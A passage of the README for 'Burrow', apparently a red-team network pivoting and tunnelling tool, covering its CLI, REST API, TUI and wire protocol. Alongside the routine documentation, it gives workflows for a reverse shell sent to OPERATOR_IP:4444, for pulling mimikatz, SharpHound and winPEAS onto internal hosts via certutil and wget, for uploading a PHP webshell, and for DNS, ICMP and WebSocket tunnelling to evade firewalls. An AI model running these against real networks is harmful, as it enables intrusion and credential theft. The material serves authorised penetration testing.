DNS proxy server. Forwards DNS queries to a specified upstream resolver, optionally through a SOCKS5 proxy. Useful for DNS resolution through an agent session when using `burrow proxify` without root.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--forward, -f` | (required) | Upstream DNS resolver address (`host:port`) |
| `--socks5, -s` | | SOCKS5 proxy address for DNS resolution |
| `--listen, -l` | `127.0.0.1:5353` | Listen address for DNS proxy |
**Examples:**
# Forward DNS queries to Google DNS
burrow proxy dns --forward 8.8.8.8:53
# Forward DNS through SOCKS5 proxy to reach internal DNS
burrow proxy dns --forward 10.0.0.1:53 --socks5 127.0.0.1:1080
# Custom listen address
burrow proxy dns --forward 8.8.8.8:53 --listen 0.0.0.0:5353
### `burrow session rsocks5`
Reverse SOCKS5 — request the agent to start a SOCKS5 listener on its side. The operator connects to the agent's SOCKS5 listener through the yamux session, enabling the operator to route traffic through the agent without needing to set up a local SOCKS5 proxy first.
**Subcommands:**
| Command | Description |
|---------|-------------|
| `burrow session rsocks5 start [--listen 0.0.0.0:1080]` | Start reverse SOCKS5 on agent |
| `burrow session rsocks5 stop ` | Stop reverse SOCKS5 on agent |
**REST API:**
| Method | Path | Description |
|--------|------|-------------|
| `POST` | `/api/sessions/{id}/rsocks5` | Start reverse SOCKS5 (body: `{"listen": "0.0.0.0:1080"}`) |
| `DELETE` | `/api/sessions/{id}/rsocks5` | Stop reverse SOCKS5 |
### `burrow session hosts`
Discover hosts reachable through an agent session and generate `/etc/hosts` entries. Calls the scan API on the session, performs reverse DNS lookups, and outputs host entries.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--apply` | | Write discovered hosts to `/etc/hosts` (requires root) |
| `--apply-dry-run` | | Show what would be written to `/etc/hosts` without modifying it |
**Examples:**
# Show discovered hosts (no file modification)
burrow session hosts session-abc123 --token
# Dry-run: show what would be written to /etc/hosts
burrow session hosts session-abc123 --token --apply-dry-run
# Write hosts to /etc/hosts (requires root)
sudo burrow session hosts session-abc123 --token --apply
### `burrow server --daemon`
Run the server as a background daemon. Creates a PID file, forks a child process, and detaches. Useful for persistent deployments.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--daemon` | | Fork into background as a daemon |
| `--pid-file` | `burrow.pid` | Path to PID file |
**Example:**
burrow server --daemon
burrow server --daemon --pid-file /run/burrow.pid
A systemd unit file is provided at `contrib/burrow-server.service`.
### `burrow topology`
Display the current pivot infrastructure from a running Burrow server. Shows all connected agents, active tunnels, routes, and discovered hosts from scan results.
**Flags:**
| Flag | Default | Description |
|------|---------|-------------|
| `--api-url` | `127.0.0.1:9099` | Burrow server URL |
| `--api-token` | | API authentication token |
| `--no-tls` | | Use plain HTTP instead of HTTPS |
**Examples:**
# Query local server
burrow topology
# Query remote server
burrow topology --api-url 10.0.0.1:9099 --api-token YOUR_TOKEN
**Expected output:**
[Infrastructure]
└── Burrow Server
├── Agent victim01 [DC-HOST]
│ IPs: 192.168.1.100 | OS: linux | RTT: 1200us
│ ├── tunnel ● local 127.0.0.1:8080 → 10.0.0.5:445
│ ├── route 10.10.10.0/24
│ └── subnet [10.10.10.0/24] (3 hosts)
│ ├── host 10.0.0.5 [smb,http]
│ ├── host 10.0.0.25 [ssh,rdp]
│ └── host 10.0.0.50 [http,winrm]
└── Agent workstation02
IPs: 192.168.1.100 | OS: windows | RTT: 800us
└── tunnel ● local 127.0.0.1:3389 → 192.168.1.50:3389
### `burrow relay`
Socat-style bidirectional relay. Takes two endpoint specs and relays data between them. Useful for bridging protocols, exposing Unix sockets over TCP, or piping commands.
TLS is enabled by default for TCP specs — the listener generates a self-signed Ed25519 certificate (fingerprint printed on startup) and the connect side skips verification. Use `--no-tls` for plain TCP.
**Usage:**
burrow relay [--no-tls]
**Flags:**
| Flag | Description |
|------|-------------|
| `--no-tls` | Disable TLS (use plain TCP). TLS is on by default for TCP specs. |
**Endpoint spec types:**
| Spec | Description |
|------|-------------|
| `tcp-listen:` | Listen on all interfaces, given port |
| `tcp-listen::` | Listen on specific address |
| `tcp-connect::` | Connect to host:port |
| `udp-listen:` | UDP listener |
| `udp-listen::` | UDP listener on specific address |
| `udp-connect::` | UDP connect |
| `unix-listen:` | Listen on Unix domain socket |
| `unix-connect:` | Connect to Unix domain socket |
| `exec:` | Execute command, relay stdio |
| `stdio` | Standard input/output |
**Examples:**
# TLS relay (default — auto-generated cert)
burrow relay tcp-listen:443 tcp-connect:127.0.0.1:8080
# Plain TCP relay (no TLS)
burrow relay --no-tls tcp-listen:8080 tcp-connect:10.0.0.5:80
# Unix socket to TCP
burrow relay unix-listen:/tmp/relay.sock tcp-connect:10.0.0.5:22
# Pipe command output over TCP
burrow relay stdio tcp-connect:10.0.0.1:4444
# UDP relay (TLS does not apply to UDP)
burrow relay udp-listen:5353 udp-connect:8.8.8.8:53
**Expected output:**
[*] TLS certificate fingerprint: AB:CD:EF:12:34:56:78:90:...
[*] Relay [TLS]: tcp-listen:443 <-> tcp-connect:127.0.0.1:8080
[*] Connected. Relaying...
With `--no-tls`:
[*] Relay: tcp-listen:8080 <-> tcp-connect:10.0.0.5:80
[*] Connected. Relaying...
### Complete Relay Workflow
#### TCP relay bridging two networks
# Expose an internal service (10.0.0.5:80) on the operator's port 8080
burrow relay tcp-listen:8080 tcp-connect:10.0.0.5:80
# Now connect from anywhere:
curl http://127.0.0.1:8080/
#### Unix socket exposure over TCP
# Expose a local Unix socket (e.g. Docker daemon) over TCP
burrow relay tcp-listen:2375 unix-connect:/var/run/docker.sock
# Use it remotely:
docker -H tcp://127.0.0.1:2375 ps
#### Exec relay for reverse shells
# Operator: listen for incoming shell
burrow relay tcp-listen:4444 stdio
# Target: send shell back
burrow relay stdio tcp-connect:OPERATOR_IP:4444
# Then pipe a shell: /bin/bash -i | burrow relay stdio tcp-connect:OPERATOR_IP:4444
#### Chaining relay with tunnel
# Step 1: forward agent session tunnel to local port
# (inside burrow session use)
burrow> tunnel add local 127.0.0.1:9000 10.0.0.5:8080
# Step 2: relay that local port to another internal host
burrow relay tcp-listen:9001 tcp-connect:127.0.0.1:9000
## Typical Workflows
### Agent Through NTLM Proxy
When the target network requires outbound traffic through an authenticating proxy:
# Basic HTTP proxy
burrow agent -c 10.0.0.1:11601 --proxy-url http://proxy.corp:8080
# NTLM-authenticated proxy (Active Directory environments)
burrow agent -c 10.0.0.1:11601 \
--proxy-url http://proxy.corp:8080 \
--proxy-user "DOMAIN\user" \
--proxy-pass "s3cret" \
--proxy-ntlm
# NTLM proxy with WebSocket transport
burrow agent -c 10.0.0.1:443 --transport ws \
--proxy-url http://proxy.corp:8080 \
--proxy-user "DOMAIN\user" \
--proxy-pass "s3cret" \
--proxy-ntlm
NTLM proxy auth performs a three-way handshake (Negotiate → Challenge → Auth) over HTTP CONNECT. Works with both HTTP and WebSocket transports.
### STDIO Transport (SSH ProxyCommand)
Use the STDIO transport to tunnel agent traffic through an SSH connection without opening a listening port on the target:
# ~/.ssh/config
Host target
HostName 10.0.0.5
ProxyCommand burrow agent --stdio -c OPERATOR_IP:11601
# Now any SSH connection to 'target' routes through Burrow
ssh target
# Or run directly
ssh -o "ProxyCommand=burrow agent --stdio -c %h:11601" 10.0.0.5
### Auto-Bind (Server Configuration)
Auto-bind automatically starts services when an agent connects, eliminating manual setup:
# server.yaml
listen: "0.0.0.0:11601"
transport: "raw"
tui: true
auto_bind:
- action: "socks5"
listen: "127.0.0.1:1080"
- transport: "ws"
action: "tun"
routes_from_agent: true
When any agent connects, a SOCKS5 proxy starts automatically on `127.0.0.1:1080`. When a WebSocket agent connects, TUN starts and the agent's IPs are auto-added as routes.
### Agent-Based Tunneling
### Remote Tunnel — Serve Files / Forward Ports Back to Operator
Remote tunnels make the agent listen on the pivot machine and forward connections back through yamux to the operator's machine. This is essential for serving files to internal hosts that can't reach the operator directly.
**How it works:** The agent opens a listener on the pivot. When an internal host connects, the agent opens a yamux stream back to the server, which dials the target address on the **operator's** machine. Traffic relays bidirectionally through the stream.
**Real-world example:** Serve tools to internal machines through a dual-homed pivot.
# 1. Operator: start HTTP server with your tools
python3 -m http.server 6969
# 2. Operator: start Burrow server (as root for TUN support)
sudo burrow server --tui --webui
# 3. SSH reverse tunnel for C2 egress (pivot can't reach operator directly)
ssh -R 11601:127.0.0.1:11601 user@192.168.1.100
# 4. Pivot: start agent (connects through SSH tunnel)
./burrow agent --connect 127.0.0.1:11601
# 5. Operator TUI: add remote tunnel
# This makes the pivot listen on 0.0.0.0:6969 and forward
# connections back to 127.0.0.1:6969 on the OPERATOR's machine
tunnel add remote 0.0.0.0:6969 127.0.0.1:6969
# 6. From any internal machine (e.g., 10.0.0.15 via evil-winrm):
wget http://10.0.0.5:6969/tools/winPEASx64.exe
curl http://10.0.0.5:6969/tools/SharpHound.exe -o SharpHound.exe
certutil -urlcache -split -f http://10.0.0.5:6969/tools/mimikatz.exe C:\Users\Public\mimikatz.exe
**Multiple remote tunnels:** You can stack them. Each gets its own listener on the pivot.
# Serve files on port 6969
tunnel add remote 0.0.0.0:6969 127.0.0.1:6969
# Forward Responder/Inveigh captures back on port 445
tunnel add remote 0.0.0.0:8445 127.0.0.1:445
# Reverse shell catcher
tunnel add remote 0.0.0.0:4444 127.0.0.1:4444
**Key distinction from local tunnels:**
- **Local tunnel** (`tunnel add local`): Operator listens locally, forwards to agent's network. Use for reaching internal services.
- **Remote tunnel** (`tunnel add remote`): Agent listens on pivot, forwards back to operator. Use for serving files, catching shells, receiving data from internal hosts.
### Standalone Port Forwarding
# No agent needed. Forward local port to internal host.
burrow tunnel local --listen 127.0.0.1:8080 --remote internal.host:80
### Pivot Chain Through Multiple Hosts
# Chain through two intermediate hops to reach final target
# Opens local port 1080 as entry point
burrow pivot --target final.host --port 443 --hop hop1:22 --hop hop2:443 --local-port 1080
### Firewall Evasion with WebSocket Transport
# Operator: listen on 443 with WebSocket transport
burrow server --transport ws --listen 0.0.0.0:443 --mcp-api
# Target: connect back using WebSocket
burrow agent --connect operator.com:443 --transport ws --fp AB:CD:EF:01:23:45:67:89
### DNS Tunnel Through Restrictive Network
# Operator: DNS tunnel server on port 53
burrow server --transport dns --listen 0.0.0.0:53
# Target: connect via DNS
burrow agent --connect operator.com:53 --transport dns
### SOCKS5 Proxy for Tool Routing
# Start SOCKS5 proxy
burrow proxy socks5 --listen 127.0.0.1:1080
# Route tools through it
curl --socks5 127.0.0.1:1080 http://10.0.0.5/admin
proxychains nmap -sT -p 22,80,443 10.0.0.0/24
### HTTP Tunnel Through Egress-Blocked Host
# Scenario: Target has no outbound connectivity, but you can reach port 8080
# Option A: Deploy Burrow binary on target
# On target:
burrow tunnel server -l 0.0.0.0:8080 -k s3cret
# On attacker:
burrow tunnel client -c http://target:8080/b -k s3cret -l 127.0.0.1:1080
proxychains nmap -sT -Pn 10.10.10.0/24
# Option B: Upload a webshell instead of a binary
# On attacker:
burrow generate webshell --format php --key s3cret -o tunnel.php
# Upload tunnel.php to target web root
# On attacker:
burrow tunnel client -c http://target/tunnel.php -k s3cret -l 127.0.0.1:1080
proxychains nmap -sT -Pn 10.10.10.0/24
### Complete Multi-Hop Pivot Workflow
A step-by-step example pivoting through two hops to reach an isolated internal network.
#### Step 1: Enumerate the first network
# Scan the first network from the operator machine
burrow scan --subnet 10.0.0.0/24 --ports 22,80,443,3389,8080
#### Step 2: Drop agent on hop1
# Operator: start server
burrow server --webui
# Note the fingerprint and token
# On hop1 (10.0.0.5): deploy and run agent
burrow agent --connect OPERATOR_IP:11601 --fp AB:CD:EF:01:23:45:67:89
#### Step 3: Scan internal network through hop1
# Add a route through the hop1 session so operator can reach 192.168.1.0/24
burrow session use SESSION_HOP1 --token
burrow> route add 192.168.1.0/24
# Now scan the internal network (traffic routes through the agent)
burrow scan --subnet 192.168.1.0/24 --ports 22,80,443,3306,5432
#### Step 4: Set up pivot chain through hop1 to hop2
# Chain: operator -> hop1 (10.0.0.5:22) -> hop2 (192.168.1.20:22) -> final target
burrow pivot --target 172.16.0.0 --port 443 \
--hop 10.0.0.5:22 \
--hop 192.168.1.20:22 \
--local-port 1080
#### Step 5: Open SOCKS5 through the chain
# The --local-port 1080 above already opens a SOCKS5 entry point.
# Alternatively, start a dedicated SOCKS5 proxy:
burrow proxy socks5 --listen 127.0.0.1:1080
#### Step 6: Run tools through proxychains
# Configure proxychains to use 127.0.0.1:1080
# /etc/proxychains4.conf: socks5 127.0.0.1 1080
proxychains nmap -sT -p 22,80,443,3306 172.16.0.0/24
proxychains curl http://172.16.0.10/admin
proxychains ssh user@172.16.0.10
## WebUI Dashboard
Enabled with `--webui` on the server. The server defaults to HTTPS with a self-signed certificate. On startup, the WebUI URL is printed with the API token embedded as a query parameter for easy browser access.
Built with Alpine.js and Pico CSS. Provides a live session list, tunnel management, and route management. The `GET /api/events` endpoint is a Server-Sent Events stream for live updates.
The `session` CLI commands (`list`, `info`, `use`) default to HTTPS and require `--token` for authentication. Use `--no-tls` if running the WebUI without TLS.
### REST API
**Authentication:**
The REST API is only enabled when --mcp-api is passed. It enforces HTTP Bearer token authentication. Requests must include the automatically generated token (or the token explicitly passed via `--api-token`) in the headers:
`Authorization: Bearer `
All endpoints return JSON.
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/sessions` | List all sessions |
| `GET` | `/api/sessions/{id}` | Get session details |
| `GET` | `/api/sessions/{id}/tunnels` | List tunnels for session |
| `POST` | `/api/sessions/{id}/tunnels` | Create tunnel |
| `DELETE` | `/api/sessions/{id}/tunnels/{tid}` | Remove tunnel |
| `POST` | `/api/sessions/{id}/tunnels/{tid}/stop` | Stop a running tunnel |
| `POST` | `/api/sessions/{id}/tunnels/{tid}/start` | Restart a stopped tunnel |
| `GET` | `/api/sessions/{id}/routes` | List routes for session |
| `POST` | `/api/sessions/{id}/routes` | Add route |
| `DELETE` | `/api/sessions/{id}/routes/{cidr}` | Remove route |
| `GET` | `/api/events` | SSE event stream for live updates |
| `POST` | `/api/sessions/{id}/tun` | Start TUN interface |
| `DELETE` | `/api/sessions/{id}/tun` | Stop TUN interface |
| `POST` | `/api/sessions/{id}/tap` | Start TAP interface |
| `DELETE` | `/api/sessions/{id}/tap` | Stop TAP interface |
| `POST` | `/api/sessions/{id}/socks5` | Start SOCKS5 proxy |
| `DELETE` | `/api/sessions/{id}/socks5` | Stop SOCKS5 proxy |
| `DELETE` | `/api/sessions/{id}` | Kill session (disconnect agent) |
| `POST` | `/api/sessions/{id}/exec` | Execute command on agent |
| `POST` | `/api/sessions/{id}/download` | Download file from agent |
| `POST` | `/api/sessions/{id}/upload` | Upload file to agent |
| `POST` | `/api/sessions/{id}/sleep` | Tell agent to disconnect for N seconds |
| `POST` | `/api/sessions/{id}/upgrade` | Push binary upgrade to agent |
| `POST` | `/api/sessions/{id}/scan` | Scan subnet from agent |
| `GET` | `/api/sessions/{id}/scan` | Get scan results |
| `PUT` | `/api/sessions/{id}/label` | Set session label |
| `POST` | `/api/hosts/{ip}/note` | Add note to discovered host |
| `GET` | `/api/hosts/{ip}/note` | Get host note |
| `GET` | `/api/topology` | Show pivot infrastructure topology |
**Create tunnel (POST body):**
{
"direction": "local",
"listen": "127.0.0.1:8080",
"remote": "10.0.0.5:80",
"protocol": "tcp"
}
**Add route (POST body):**
{
"cidr": "10.0.0.0/24"
}
**Start TAP (POST body):**
{
"cidr": "10.10.10.200/24",
"relay_ports": [22, 80, 445, 3389]
}
`relay_ports` is optional — omit it to use the default list (22, 53, 80, 88, 135, 139, 389, 445, 3389, 5985, 8080, 9389).
Each entry can be a single port (`445` — listen on 445, forward to 445 on the operator) or a mapping (`8445:445` — listen on 8445 on the agent, forward to 445 on the operator). Port mapping is useful when the agent doesn't have root access and can't bind privileged ports (< 1024):
{"cidr": "10.10.10.200/24", "relay_ports": [{"listen": 8445, "forward": 445}, {"listen": 8139, "forward": 139}, {"listen": 8080, "forward": 80}]}
**Example curl usage (Replace with generated API key):**
# List sessions
curl -k -H "Authorization: Bearer " https://127.0.0.1:9099/api/sessions
# Create a tunnel
curl -k -X POST https://127.0.0.1:9099/api/sessions/session-abc123/tunnels \
-H "Authorization: Bearer " \
-H 'Content-Type: application/json' \
-d '{"direction":"local","listen":"127.0.0.1:8080","remote":"10.0.0.5:80","protocol":"tcp"}'
# Add a route
curl -k -X POST https://127.0.0.1:9099/api/sessions/session-abc123/routes \
-H "Authorization: Bearer " \
-H 'Content-Type: application/json' \
-d '{"cidr":"10.0.0.0/24"}'
# Remove a tunnel
curl -k -X DELETE https://127.0.0.1:9099/api/sessions/session-abc123/tunnels/tun-001 \
-H "Authorization: Bearer "
# Remove a route
curl -k -X DELETE https://127.0.0.1:9099/api/sessions/session-abc123/routes/10.0.0.0%2F24 \
-H "Authorization: Bearer "
# Subscribe to live events
curl -k -H "Authorization: Bearer " https://127.0.0.1:9099/api/events
## Security Model
**TLS:** The server auto-generates a self-signed Ed25519 certificate on startup. The SHA256 fingerprint of the certificate DER is printed to stdout. Pass it to agents with `--fp AB:CD:...` for verification. Prefix matching is supported — the first 8 bytes are sufficient (shown in TUI banner).
**Frame encryption:** Each frame is encrypted independently using X25519 ECDH key exchange, HKDF-SHA256 key derivation, and ChaCha20-Poly1305 or AES-256-GCM AEAD. A 4-byte counter provides anti-replay protection. Keys rotate hourly.
**WebSocket mode:** TLS over HTTPS. Traffic is indistinguishable from normal HTTPS to network observers.
**No plaintext fallback:** Unless `--no-tls` is explicitly passed, all connections use TLS. Fingerprint verification is opt-in but strongly recommended.
## Python Companion
The Python package provides an MCP server integration and a FastAPI web dashboard that securely proxies instructions to the compiled Go binary.
# Install from project root
pip install -e .
This installs:
- `burrow` CLI command (Python execution wrapper around the Go binary)
- `burrow.mcp_server` module for MCP integration
- `burrow.web` FastAPI proxy (Set `BURROW_API_TOKEN` and `BURROW_API_URL` to route correctly to the Go dashboard)
Dependencies: click, rich, pyyaml, pydantic, cryptography, fastapi, uvicorn.
## Architecture
cmd/burrow/cmd/ CLI (cobra) + TUI (bubbletea)
internal/
transport/ Transport interface + registry (raw, ws, dns, doh, icmp, http)
crypto/ X25519 ECDH + ChaCha20-Poly1305/AES-256-GCM
proxy/ SOCKS5 + HTTP forward proxy with session routing
httptunnel/ HTTP tunnel relay (basic + secure modes, server + client + protocol)
webshell/ Webshell generator (PHP/ASPX/JSP templates)
tunnel/ Local, remote, and reverse TCP forwarders
relay/ Socat-style bidirectional relay
pivot/ Multi-hop chain orchestration
discovery/ Ping sweep + port scanner
certgen/ Self-signed TLS cert generation (Ed25519) + fingerprint
mux/ yamux stream multiplexer for agent sessions
protocol/ Binary message protocol (12 types, JSON payloads)
session/ Agent session manager + proxy server + web.SessionProvider
tun/ TUN interface with magic IP 240.0.0.0/4 routing
netstack/ gvisor userspace TCP/IP for agent-side packet termination
udp/ UDP port forwarder
web/ Embedded WebUI (Alpine.js + Pico CSS) with REST API + SSE
### TUI Dashboard (`--tui` flag)
Interactive terminal UI dashboard built with bubbletea. Provides a full-screen interface for managing sessions, tunnels, routes, and TUN interfaces without needing to remember CLI flags or API endpoints.
Enabled by passing `--tui` to `burrow server`. When combined with `--webui`, the TUI header displays a clickable link to the WebUI.
**Example:**
# Start server with TUI dashboard
burrow server --tui
# TUI with WebUI (TUI header shows WebUI link)
burrow server --tui --webui
# TUI with all features
burrow server --tui --webui --mcp-api
**Keybindings -- Session List:**
| Key | Action |
|-----|--------|
| `↑` / `k` | Move cursor up |
| `↓` / `j` | Move cursor down |
| `g` / `G` | Jump to top / bottom |
| `Enter` | Enter session detail view |
| `Ctrl+T` | Toggle TUN on/off for selected session |
| `Ctrl+A` | Toggle TAP on/off for selected session |
| `y` | Copy session ID to clipboard |
| `Y` | Copy server fingerprint to clipboard |
| `F` | Copy server fingerprint (short) |
| `l` | Set session label |
| `E` | Export engagement data (JSON) |
| `T` | Show network topology view |
| `Ctrl+R` | Refresh session list |
| `?` | Show help overlay |
| `Ctrl+Q` | Quit |
**Keybindings -- Session Detail:**
| Key | Action |
|-----|--------|
| `q` / `Esc` | Back to session list |
| `Tab` | Switch between Tunnels and Routes tabs |
| `↑` / `k` | Move cursor up |
| `↓` / `j` | Move cursor down |
| `g` / `G` | Jump to top / bottom |
| `t` | Open add tunnel form |
| `r` | Open add route form |
| `u` | Start selected tunnel |
| `Ctrl+N` | Stop selected tunnel |
| `Ctrl+D` | Delete selected tunnel/route |
| `Ctrl+R` | Refresh tunnels/routes |
| `x` | Execute command on agent |
| `w` | Download file from agent |
| `p` | Upload file to agent |
| `o` | View exec history |
| `n` | Open new scan form |
| `N` | View scan results |
| `C` | SOCKS5 chain builder |
| `P` | Tunnel profiles (save/load) |
| `Y` | Copy tunnel/route data |
| `y` | Copy session ID |
| `F` | Copy server fingerprint (short) |
| `Ctrl+T` | Start TUN (prompts for route) / Stop TUN |
| `Ctrl+A` | Start TAP (prompts for IP) / Stop TAP |
| `Ctrl+S` | Toggle SOCKS5 proxy |
| `Ctrl+K` | Kill session (tear down all infrastructure) |
| `?` | Show help overlay |
**Keybindings -- Forms (Add Tunnel / Add Route):**
| Key | Action |
|-----|--------|
| `Tab` / `↓` | Next field |
| `Shift+Tab` / `↑` | Previous field |
| `Space` / `←` / `→` | Toggle direction (local/remote) or protocol (tcp/udp) |
| `Enter` | Submit |
| `Esc` | Cancel |
## Protocol Reference
Binary frame format:
[type: 1 byte][length: 4 bytes big-endian][payload: length bytes]
| Type | Hex | Direction | Description |
|------|-----|-----------|-------------|
| Handshake | `0x01` | Agent -> Server | Agent identification: hostname, OS, IPs, PID, version |
| HandshakeAck | `0x02` | Server -> Agent | Session ID assignment |
| TunnelRequest | `0x10` | Server -> Agent | Create a tunnel |
| TunnelAck | `0x11` | Agent -> Server | Tunnel creation result |
| TunnelClose | `0x12` | Either | Close a tunnel |
| RouteAdd | `0x20` | Server -> Agent | Add a network route |
| RouteRemove | `0x21` | Server -> Agent | Remove a network route |
| ListenerRequest | `0x30` | Server -> Agent | Create a listener |
| ListenerAck | `0x31` | Agent -> Server | Listener creation result |
| Ping | `0x40` | Server -> Agent | Keepalive request |
| Pong | `0x41` | Agent -> Server | Keepalive response |
| TunStart | `0x50` | Server -> Agent | Activate TUN mode on agent |
| TunStartAck | `0x51` | Agent -> Server | TUN activation result |
| TunStop | `0x52` | Server -> Agent | Deactivate TUN mode |
| ExecRequest | `0x60` | Server -> Agent | Remote command execution |
| ExecResponse | `0x61` | Agent -> Server | Command output |
| FileDownloadRequest | `0x70` | Server -> Agent | Download file from agent |
| FileDownloadResponse | `0x71` | Agent -> Server | File data |
| FileUploadRequest | `0x72` | Server -> Agent | Upload file to agent |
| FileUploadResponse | `0x73` | Agent -> Server | Upload confirmation |
| Error | `0xFF` | Either | Error message |
## Testing
go test ./...
24 packages, all passing.
## Tech Stack
| Package | Purpose |
|---------|---------|
| Go 1.24+ | Runtime |
| github.com/spf13/cobra | CLI framework |
| golang.org/x/crypto | X25519, ChaCha20-Poly1305, HKDF |
| github.com/hashicorp/yamux | Stream multiplexing for agent sessions |
| nhooyr.io/websocket | WebSocket transport |
| github.com/songgao/water | TUN interface |
| github.com/nicocha30/gvisor-ligolo | Userspace TCP/IP netstack |
| github.com/charmbracelet/bubbletea | Terminal UI framework |
| github.com/charmbracelet/lipgloss | Terminal styling |
| github.com/charmbracelet/bubbles | UI component library |
| github.com/miekg/dns | DNS and DoH tunnel transport |
| golang.org/x/net | ICMP transport |
## Acknowledgments
Burrow builds on ideas and techniques from several projects whose work deserves recognition:
- **[ligolo-ng](https://github.com/nicocha30/ligolo-ng)** by Nicolas Music — The TUN mode architecture, magic IP routing via the 240.0.0.0/4 reserved range, and the approach of using a userspace netstack on the agent side to terminate IP packets without kernel module dependencies. ligolo-ng demonstrated that a Go-based tunneling tool could provide full IP-level pivoting with a clean agent/server model.
- **[gvisor](https://github.com/google/gvisor)** by Google — The userspace TCP/IP stack that powers TUN mode's agent-side packet processing. Burrow uses the [gvisor-ligolo](https://github.com/nicocha30/gvisor-ligolo) fork maintained by the ligolo-ng author.
- **[tun2socks](https://github.com/xjasonlyu/tun2socks)** by xjasonlyu — The TUN-to-SOCKS conversion pattern. Burrow's TUN mode follows this approach: capture IP packets from a TUN interface, process them through a userspace network stack, and relay the resulting connections through the agent. This pattern enables full IP-level routing without requiring the agent to have kernel-level TUN support.
- **[reGeorg](https://github.com/sensepost/reGeorg)** by SensePost and **[Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)** by L — The HTTP tunnel transport design, where traffic is encapsulated in HTTP POST requests to traverse restrictive egress filtering. Burrow's `tunnel` module follows this pattern in basic mode. The secure mode (`-s`) draws from **[pivotnacci](https://github.com/blackarrowsec/pivotnacci)** by BlackArrow for AES-encrypted, cookie-based command encoding that evades WAFs and DPI.
- **[rpivot](https://github.com/klsecs/rpivot)** by Kaspersky Lab — The reverse HTTP pivot concept, where the agent initiates the connection outward through restrictive egress and the operator's tunnel client connects back through it. Burrow's HTTP tunnel reverse mode follows this pattern.
- **[dnscat2](https://github.com/iagox86/dnscat2)** by Ron Bowes/SpiderOak — The DNS tunneling concept: encoding data in DNS queries and TXT records to exfiltrate through networks that only permit DNS resolution. Burrow's DNS transport implements this technique with Burrow's own encryption layer.
- **[ptunnel-ng](https://github.com/aintel/ptunnel-ng)** — The ICMP tunneling concept: encoding data in ICMP echo request/reply payloads to communicate through networks that allow ping but block TCP/UDP. Burrow's ICMP transport implements this technique with its own session management and encryption.
- **[SocksOverRDP](https://github.com/nccgroup/SocksOverRDP)** by NCC Group — SOCKS proxying through constrained egress channels. Burrow's SOCKS5 implementation follows the same principle of routing arbitrary TCP connections through an established tunnel session.
- **[chisel](https://github.com/jpillora/chisel)** by Jaime Pillora — Reverse tunnel architecture, the concept of a single binary that handles both client and server roles with multiplexed connections over HTTP, and the proxy chaining concept for multi-hop pivoting. chisel is the closest conceptual ancestor to Burrow as a unified pivoting tool.
- **[ngrok](https://ngrok.com)** by Alan Shreve — The developer-friendly reverse tunnel pattern: exposing local services through a relay server with minimal configuration. Burrow's `tunnel reverse` command follows this convenience-oriented approach for reverse connectivity.
- **[yamux](https://github.com/hashicorp/yamux)** by HashiCorp — The session multiplexer that allows a single agent connection to carry many concurrent streams (tunnels, SOCKS5, TUN, TAP, file transfers) without head-of-line blocking.
- **[water](https://github.com/songgao/water)** by Song Gao — Cross-platform TUN/TAP interface library used for both the TUN and TAP virtual network devices.
- **[Charm](https://github.com/charmbracelet)** — The bubbletea, lipgloss, and bubbles libraries that power the interactive TUI.
标签:EVTX分析